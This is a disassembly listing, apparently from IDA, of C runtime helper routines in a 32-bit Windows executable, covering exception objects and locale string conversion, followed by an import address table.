		mov	dword ptr [esi], offset	off_423D00
		push	dword ptr [edi]
		call	sub_4177B0
		inc	eax
		push	eax
		call	sub_4182F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42284E
		push	dword ptr [edi]
		push	eax
		call	sub_4176C0
		pop	ecx
		pop	ecx

loc_42284E:				; CODE XREF: sub_42281F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42281F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42285C	proc near		; CODE XREF: sub_422608+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_423D00
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422899
		push	dword ptr [edi+4]
		call	sub_4177B0
		inc	eax
		push	eax
		call	sub_4182F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42289F
		push	dword ptr [edi+4]
		push	eax
		call	sub_4176C0
		pop	ecx
		pop	ecx
		jmp	short loc_42289F
; ---------------------------------------------------------------------------

loc_422899:				; CODE XREF: sub_42285C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_42289F:				; CODE XREF: sub_42285C+2Ej
					; sub_42285C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42285C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A6	proc near		; CODE XREF: sub_4224AA+16j
					; .data:00422806p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_423D00
		jz	short locret_4228BB
		push	dword ptr [ecx+4]
		call	sub_417FAF
		pop	ecx

locret_4228BB:				; CODE XREF: sub_4228A6+Aj
		retn
sub_4228A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228BC	proc near		; DATA XREF: .data:00423D04o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4228C8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4228C8:				; CODE XREF: sub_4228BC+5j
		retn
sub_4228BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228C9	proc near		; CODE XREF: sub_422563+37p
					; sub_42268A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_423D20
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_4231BC	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_4228C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422903	proc near		; CODE XREF: sub_422752+56p
					; sub_422752+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_422915
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_422915:				; CODE XREF: sub_422903+Bj
		cmp	dword_489540, 0
		jnz	short loc_42292F
		cmp	ax, 41h
		jb	short locret_422976
		cmp	ax, 5Ah
		ja	short locret_422976
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_42292F:				; CODE XREF: sub_422903+19j
		cmp	ax, 100h
		jnb	short loc_422949
		push	1
		push	eax
		call	sub_422BB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422949
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_422949:				; CODE XREF: sub_422903+30j
					; sub_422903+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_489540
		call	sub_422978
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_422976
		mov	ax, [ebp+var_2]

locret_422976:				; CODE XREF: sub_422903+1Fj
					; sub_422903+25j ...
		leave
		retn
sub_422903	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422978	proc near		; CODE XREF: sub_422903+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423D40
		push	offset sub_41F4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_48979C, esi
		jnz	short loc_4229EE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4238D0
		mov	edi, 100h
		push	edi
		push	esi
		call	dword_4231C8	; LCMapStringW
		test	eax, eax
		jz	short loc_4229CC
		mov	dword_48979C, ebx
		jmp	short loc_4229EE
; ---------------------------------------------------------------------------

loc_4229CC:				; CODE XREF: sub_422978+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_43BCF8
		push	edi
		push	esi
		call	dword_4231C4	; LCMapStringA
		test	eax, eax
		jz	loc_422B6D
		mov	dword_48979C, 2

loc_4229EE:				; CODE XREF: sub_422978+2Ej
					; sub_422978+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_422A03
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422B81
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422A03:				; CODE XREF: sub_422978+79j
		mov	eax, dword_48979C
		cmp	eax, 1
		jnz	short loc_422A2A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4231C8	; LCMapStringW
		jmp	loc_422B6F
; ---------------------------------------------------------------------------

loc_422A2A:				; CODE XREF: sub_422978+93j
		cmp	eax, 2
		jnz	loc_422B6D
		cmp	[ebp+arg_18], esi
		jnz	short loc_422A40
		mov	eax, dword_489550
		mov	[ebp+arg_18], eax

loc_422A40:				; CODE XREF: sub_422978+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	dword_423150	; WideCharToMultiByte
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_422B6D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417830
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_422A86
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_422A86:				; CODE XREF: sub_422978+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_422B6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	dword_423150	; WideCharToMultiByte
		test	eax, eax
		jz	loc_422B6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4231C4	; LCMapStringA
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_422B6D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417830
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422B09
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_422B09:				; CODE XREF: sub_422978+17Dj
		cmp	ebx, esi
		jz	short loc_422B6D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4231C4	; LCMapStringA
		test	eax, eax
		jz	short loc_422B6D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422B47
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_422B69
		cmp	eax, edi
		jl	short loc_422B38
		mov	eax, edi

loc_422B38:				; CODE XREF: sub_422978+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_418910
		add	esp, 0Ch
		jmp	short loc_422B69
; ---------------------------------------------------------------------------

loc_422B47:				; CODE XREF: sub_422978+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_422B50
		push	esi
		push	esi
		jmp	short loc_422B56
; ---------------------------------------------------------------------------

loc_422B50:				; CODE XREF: sub_422978+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422B56:				; CODE XREF: sub_422978+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	dword_423070	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_422B6D

loc_422B69:				; CODE XREF: sub_422978+1B8j
					; sub_422978+1CDj
		mov	eax, edi
		jmp	short loc_422B6F
; ---------------------------------------------------------------------------

loc_422B6D:				; CODE XREF: sub_422978+66j
					; sub_422978+B5j ...
		xor	eax, eax

loc_422B6F:				; CODE XREF: sub_422978+ADj
					; sub_422978+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422978	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B81	proc near		; CODE XREF: sub_422978+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422BA0

loc_422B91:				; CODE XREF: sub_422B81+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_422BA0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_422B91

loc_422BA0:				; CODE XREF: sub_422B81+Ej
					; sub_422B81+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_422BAE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_422BAE:				; CODE XREF: sub_422B81+24j
		mov	eax, edx
		retn
sub_422B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BB1	proc near		; CODE XREF: sub_422903+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_422BF1
		cmp	[ebp+arg_0], 100h
		jnb	short loc_422BD5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_438A84
		mov	ax, [ecx+eax*2]
		jmp	short loc_422BF8
; ---------------------------------------------------------------------------

loc_422BD5:				; CODE XREF: sub_422BB1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_422C03
		add	esp, 18h
		test	eax, eax
		jnz	short loc_422BF5

loc_422BF1:				; CODE XREF: sub_422BB1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_422BF5:				; CODE XREF: sub_422BB1+3Ej
		mov	eax, [ebp+var_4]

loc_422BF8:				; CODE XREF: sub_422BB1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_422BB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C03	proc near		; CODE XREF: sub_422BB1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423D58
		push	offset sub_41F4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4897A0
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_422C72
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4238D0
		push	esi
		call	dword_423028	; GetStringTypeW
		test	eax, eax
		jz	short loc_422C50
		mov	eax, esi
		jmp	short loc_422C6D
; ---------------------------------------------------------------------------

loc_422C50:				; CODE XREF: sub_422C03+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43BCF8
		push	esi
		push	edi
		call	dword_42302C	; GetStringTypeA
		test	eax, eax
		jz	loc_422DB4
		push	2
		pop	eax

loc_422C6D:				; CODE XREF: sub_422C03+4Bj
		mov	dword_4897A0, eax

loc_422C72:				; CODE XREF: sub_422C03+2Fj
		cmp	eax, 1
		jnz	short loc_422C8E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_423028	; GetStringTypeW
		jmp	loc_422DB6
; ---------------------------------------------------------------------------

loc_422C8E:				; CODE XREF: sub_422C03+72j
		cmp	eax, 2
		jnz	loc_422DB4
		cmp	[ebp+arg_10], edi
		jnz	short loc_422CA4
		mov	eax, dword_489550
		mov	[ebp+arg_10], eax

loc_422CA4:				; CODE XREF: sub_422C03+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	dword_423150	; WideCharToMultiByte
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_422DB4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417830
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422D02
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_422D02:				; CODE XREF: sub_422C03+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_422DB4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	dword_423150	; WideCharToMultiByte
		test	eax, eax
		jz	loc_422DB4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417830
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_422D57
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_422D57:				; CODE XREF: sub_422C03+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_422DB4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_422D6B
		mov	eax, dword_489540

loc_422D6B:				; CODE XREF: sub_422C03+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	dword_42302C	; GetStringTypeA
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_422DB4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_422DB4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_417FC0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_422DB6
; ---------------------------------------------------------------------------

loc_422DB4:				; CODE XREF: sub_422C03+61j
					; sub_422C03+8Ej ...
		xor	eax, eax

loc_422DB6:				; CODE XREF: sub_422C03+86j
					; sub_422C03+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C03	endp


; =============== S U B	R O U T	I N E =======================================



sub_422DC8	proc near		; DATA XREF: .data:00423EE8o

; FUNCTION CHUNK AT 00404413 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_404413
sub_422DC8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_422DE6
		mov	ecx, [ebp+8]
		jmp	loc_404413
; ---------------------------------------------------------------------------

locret_422DE6:				; CODE XREF: .data:00422DD8j
		retn
; ---------------------------------------------------------------------------

loc_422DE7:				; DATA XREF: sub_403FF0o
		mov	eax, offset dword_423EEC
		jmp	loc_417C4B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_404413
; ---------------------------------------------------------------------------

loc_422DFC:				; DATA XREF: .data:00423F14o
		lea	ecx, [ebp-1Ch]
		jmp	loc_404413
; ---------------------------------------------------------------------------

loc_422E04:				; DATA XREF: sub_40418Fo
		mov	eax, offset dword_423F18
		jmp	loc_417C4B
; ---------------------------------------------------------------------------
		align 10h

loc_422E10:				; DATA XREF: sub_4046F4o
		mov	eax, offset dword_423F68
		jmp	loc_417C4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4228A6
; ---------------------------------------------------------------------------

loc_422E22:				; DATA XREF: sub_4224EEo
		mov	eax, offset dword_423F8C
		jmp	loc_417C4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_404413
; ---------------------------------------------------------------------------

loc_422E34:				; DATA XREF: sub_422563o
		mov	eax, offset dword_424024
		jmp	loc_417C4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4228A6
; ---------------------------------------------------------------------------

loc_422E46:				; DATA XREF: sub_4225C0o
		mov	eax, offset dword_424048
		jmp	loc_417C4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4228A6
; ---------------------------------------------------------------------------

loc_422E58:				; DATA XREF: sub_422608o
		mov	eax, offset dword_42406C
		jmp	loc_417C4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_404413
; ---------------------------------------------------------------------------

loc_422E6A:				; DATA XREF: sub_42268Ao
		mov	eax, offset dword_4240CC
		jmp	loc_417C4B
; ---------------------------------------------------------------------------
		dd 63h dup(0)
dword_423000	dd 77E74D76h		; DATA XREF: sub_40A928+36r
dword_423004	dd 77E6BD68h		; DATA XREF: sub_422197+173r
dword_423008	dd 77E77F2Eh		; DATA XREF: sub_421F1A+3Er
					; sub_421F1A+261r
dword_42300C	dd 77E762D0h		; DATA XREF: sub_421F1A+5Br
					; sub_421F1A+B9r
dword_423010	dd 77E70192h		; DATA XREF: sub_420F21+F9r
dword_423014	dd 77E7176Ch		; DATA XREF: sub_420636+8r
dword_423018	dd 77E7339Ch		; DATA XREF: sub_4205FE+Cr
dword_42301C	dd 77E7C9E7h		; DATA XREF: sub_4205E0+5r
					; sub_4205F1+6r
dword_423020	dd 77E73FF9h		; DATA XREF: sub_41FB9B+2Cr
dword_423024	dd 77E7FF2Eh		; DATA XREF: sub_41FA6D:loc_41FABDr
					; sub_41FAE4:loc_41FB37r
dword_423028	dd 77E7C866h		; DATA XREF: sub_41F88F+3Fr
					; sub_41F88F+12Dr ...
dword_42302C	dd 77E641EBh		; DATA XREF: sub_41F88F+59r
					; sub_41F88F+8Dr ...
dword_423030	dd 77E78406h		; DATA XREF: sub_41F2EA+FFr
					; sub_41F2EA+166r ...
dword_423034	dd 77E79C3Dh		; DATA XREF: sub_41F2EA+158r
					; sub_41F5B1+143r
dword_423038	dd 77E7C931h		; DATA XREF: sub_41F2EA+19Dr
dword_42303C	dd 77E77EE1h		; DATA XREF: sub_41F1B8+9r
dword_423040	dd 77E67702h		; DATA XREF: sub_41F1B8:loc_41F1E7r
					; sub_41F1B8+E1r
dword_423044	dd 77E7C9E1h		; DATA XREF: sub_41F1B8+CEr
dword_423048	dd 77E9C5B1h		; DATA XREF: sub_41F1B8+11Fr
dword_42304C	dd 77EB9A84h		; DATA XREF: sub_41ECD6+138r
dword_423050	dd 77E6C703h		; DATA XREF: sub_41E7F1+1Ar
dword_423054	dd 77E73C49h		; DATA XREF: sub_401000+AAr
					; sub_401444+95r ...
dword_423058	dd 77E7751Ah		; DATA XREF: sub_401000+27r
					; sub_401444+1A6r ...
dword_42305C	dd 77E802FCh		; DATA XREF: sub_4010B2+18Cr
					; sub_4010B2+2D4r ...
dword_423060	dd 77E6D75Bh		; DATA XREF: sub_4010B2+182r
					; sub_401A64+FFr
dword_423064	dd 77E61BE6h		; DATA XREF: sub_4018CB+95r
					; sub_402394+5Dr ...
dword_423068	dd 77E704FCh		; DATA XREF: sub_4022B5+20r
					; sub_40B6ED+183r ...
dword_42306C	dd 77E70F89h		; DATA XREF: sub_4022B5+Er
					; sub_40BD8D+Dr ...
dword_423070	dd 77E77CCEh		; DATA XREF: sub_4029C8+66r
					; sub_402AAB+65r ...
dword_423074	dd 77E78B82h		; DATA XREF: sub_402DB1+135r
					; sub_404904+198r ...
dword_423078	dd 77E77963h		; DATA XREF: sub_402DB1+11Dr
					; sub_402DB1+150r ...
dword_42307C	dd 77E79D8Ch		; DATA XREF: sub_402DB1+100r
					; sub_404816+94r ...
dword_423080	dd 77E73EACh		; DATA XREF: sub_402DB1+E6r
dword_423084	dd 77E7A837h		; DATA XREF: sub_402DB1+68r
					; sub_404904+A0r ...
dword_423088	dd 77E79D5Bh		; DATA XREF: sub_404904+4ADr
					; sub_40E48A+68r ...
dword_42308C	dd 77F5157Dh		; DATA XREF: sub_404904+494r
					; sub_405F35+26Fr ...
dword_423090	dd 77E737DEh		; DATA XREF: sub_404904+42Br
dword_423094	dd 77E7A099h		; DATA XREF: sub_4058E9+18r
					; sub_4070A3+58r ...
dword_423098	dd 77E64106h		; DATA XREF: sub_405DB9+9Fr
					; sub_40B6ED+1B6r
dword_42309C	dd 77E64006h		; DATA XREF: sub_405DB9+8Br
					; sub_40B6ED+19Fr
dword_4230A0	dd 77E7AC37h		; DATA XREF: sub_405F35+24Cr
					; sub_4070A3+10Br ...
dword_4230A4	dd 77E793EFh		; DATA XREF: sub_405F35+1EDr
					; sub_406865+38r ...
dword_4230A8	dd 77E74CABh		; DATA XREF: sub_405F35+10Fr
					; sub_40AA70+10Fr ...
dword_4230AC	dd 77E78EAAh		; DATA XREF: sub_4061E4+5EDr
					; sub_408D2A+C0r ...
dword_4230B0	dd 77E79424h		; DATA XREF: sub_4061E4+27Ar
					; sub_4091D7+135r
dword_4230B4	dd 77E794BFh		; DATA XREF: sub_4061E4+26Cr
					; sub_4091D7+123r
dword_4230B8	dd 77E75E67h		; DATA XREF: sub_4061E4+20Cr
					; sub_4061E4+5DCr ...
dword_4230BC	dd 77E75D9Eh		; DATA XREF: sub_4061E4+1FBr
					; sub_408D2A+26r
dword_4230C0	dd 77E78C81h		; DATA XREF: sub_406865+6Cr
					; sub_40C330+259r ...
dword_4230C4	dd 77F7E300h		; DATA XREF: sub_4075B8+130r
dword_4230C8	dd 77F7E21Fh		; DATA XREF: sub_4075B8+C5r
dword_4230CC	dd 77E7C706h		; DATA XREF: sub_4077CC+77r
dword_4230D0	dd 77F53275h		; DATA XREF: sub_4077CC+6Br
					; sub_4077CC+241r
dword_4230D4	dd 77E80618h		; DATA XREF: sub_408E7C+170r
dword_4230D8	dd 77E78147h		; DATA XREF: sub_408E7C+BCr
dword_4230DC	dd 77E7A5FDh		; DATA XREF: sub_408E7C+60r
					; sub_409658+11r ...
dword_4230E0	dd 77E805D8h		; DATA XREF: sub_408E7C+5Ar
					; sub_409658+13Ar ...
dword_4230E4	dd 77F51597h		; DATA XREF: sub_40904E+41r
					; sub_40904E+F5r ...
dword_4230E8	dd 77F516F8h		; DATA XREF: sub_40904E+21r
					; sub_4091D7+4Ar ...
dword_4230EC	dd 77E77CB7h		; DATA XREF: sub_40904E+10r
					; sub_4091D7+40r ...
dword_4230F0	dd 77E7F01Ah		; DATA XREF: sub_4091D7+88r
					; sub_40937B+53r
dword_4230F4	dd 77E61A54h		; DATA XREF: sub_4091D7+56r
					; sub_40937B+95r
dword_4230F8	dd 77E7C3A5h		; DATA XREF: sub_4091D7+34r
					; sub_40937B+2Cr
dword_4230FC	dd 77E706B7h		; DATA XREF: sub_4091D7+15r
					; sub_40937B+10r ...
dword_423100	dd 77E79F93h		; DATA XREF: sub_409658+2r
					; sub_40AA70+FBr ...
dword_423104	dd 77E76A60h		; DATA XREF: sub_40A863+2Dr
dword_423108	dd 77E71B14h		; DATA XREF: sub_40A8ED+26r
dword_42310C	dd 77E7166Fh		; DATA XREF: sub_40A8ED+1Dr
dword_423110	dd 77E75090h		; DATA XREF: sub_40A928+69r
dword_423114	dd 77E77797h		; DATA XREF: sub_40A928+25r
dword_423118	dd 77E7011Ah		; DATA XREF: sub_40A9AA+96r
dword_42311C	dd 77E73CE2h		; DATA XREF: sub_40A9AA+60r
dword_423120	dd 77E61BB8h		; DATA XREF: sub_40AA70+17Er
					; sub_40B398+F0r ...
dword_423124	dd 77E668D9h		; DATA XREF: sub_40AA70+15Dr
dword_423128	dd 77E70396h		; DATA XREF: sub_40AA70+126r
					; sub_40E48A+1B2r ...
dword_42312C	dd 77E6AD34h		; DATA XREF: sub_40AA70+35r
					; sub_40EC43+3E2Ar
dword_423130	dd 77E7FF65h		; DATA XREF: sub_40B243+5Ar
dword_423134	dd 77EB7624h		; DATA XREF: sub_40B243+3Dr
dword_423138	dd 77E79CE3h		; DATA XREF: sub_40B398+91r
					; sub_416552+77r
dword_42313C	dd 77E79C90h		; DATA XREF: sub_40B398+79r
					; sub_414EAB+Cr ...
dword_423140	dd 77E7727Ah		; DATA XREF: sub_40B398+38r
					; sub_416459+23r
dword_423144	dd 77E7C657h		; DATA XREF: sub_40B5A0+1Dr
					; sub_40B6ED+24r ...
dword_423148	dd 77E76C1Ah		; DATA XREF: sub_40B6ED+1CFr
dword_42314C	dd 77E75CB5h		; DATA XREF: sub_40C90D+465r
					; sub_40D1A2+DFr ...
dword_423150	dd 77E79924h		; DATA XREF: sub_40D9B7+13r
					; sub_41E409+20Dr ...
dword_423154	dd 77E65F4Ch		; DATA XREF: sub_40E3CC+34r
					; .data:004157D3r
dword_423158	dd 77E73628h		; DATA XREF: sub_40E48A+317r
					; sub_40EC43+4AD5r ...
dword_42315C	dd 77E80656h		; DATA XREF: sub_40E48A+246r
dword_423160	dd 77E6BD13h		; DATA XREF: sub_40E48A:loc_40E642r
dword_423164	dd 77E7C2C4h		; DATA XREF: sub_40E48A+61r
dword_423168	dd 77E75CEBh		; DATA XREF: sub_40EC43+4D18r
					; sub_416304+A3r ...
dword_42316C	dd 77E71AFEh		; DATA XREF: sub_40EC43+3C15r
dword_423170	dd 77E616B4h		; DATA XREF: sub_414F16+193r
					; sub_4151A1+1Fr ...
dword_423174	dd 77E76968h		; DATA XREF: sub_41547D+5Fr
dword_423178	dd 77E7513Ch		; DATA XREF: .data:00415840r
dword_42317C	dd 77E6C29Dh		; DATA XREF: sub_415FE8+1F0r
dword_423180	dd 77E74C59h		; DATA XREF: sub_416304+CBr
dword_423184	dd 77EC7C51h		; DATA XREF: sub_4166C9+4Br
dword_423188	dd 77F6183Eh		; DATA XREF: sub_42274Cr
dword_42318C	dd 77E76E3Dh		; DATA XREF: sub_4183B1+6Cr
					; sub_42067A+38r
dword_423190	dd 77E61608h		; DATA XREF: sub_4183B1+17r
dword_423194	dd 77F5722Fh		; DATA XREF: sub_41914F+110r
					; sub_41914F+22Dr ...
dword_423198	dd 77E6177Ah		; DATA XREF: sub_4198E4+9Fr
					; sub_41F2EA+59r
dword_42319C	dd 77E7C938h		; DATA XREF: sub_4198E4+74r
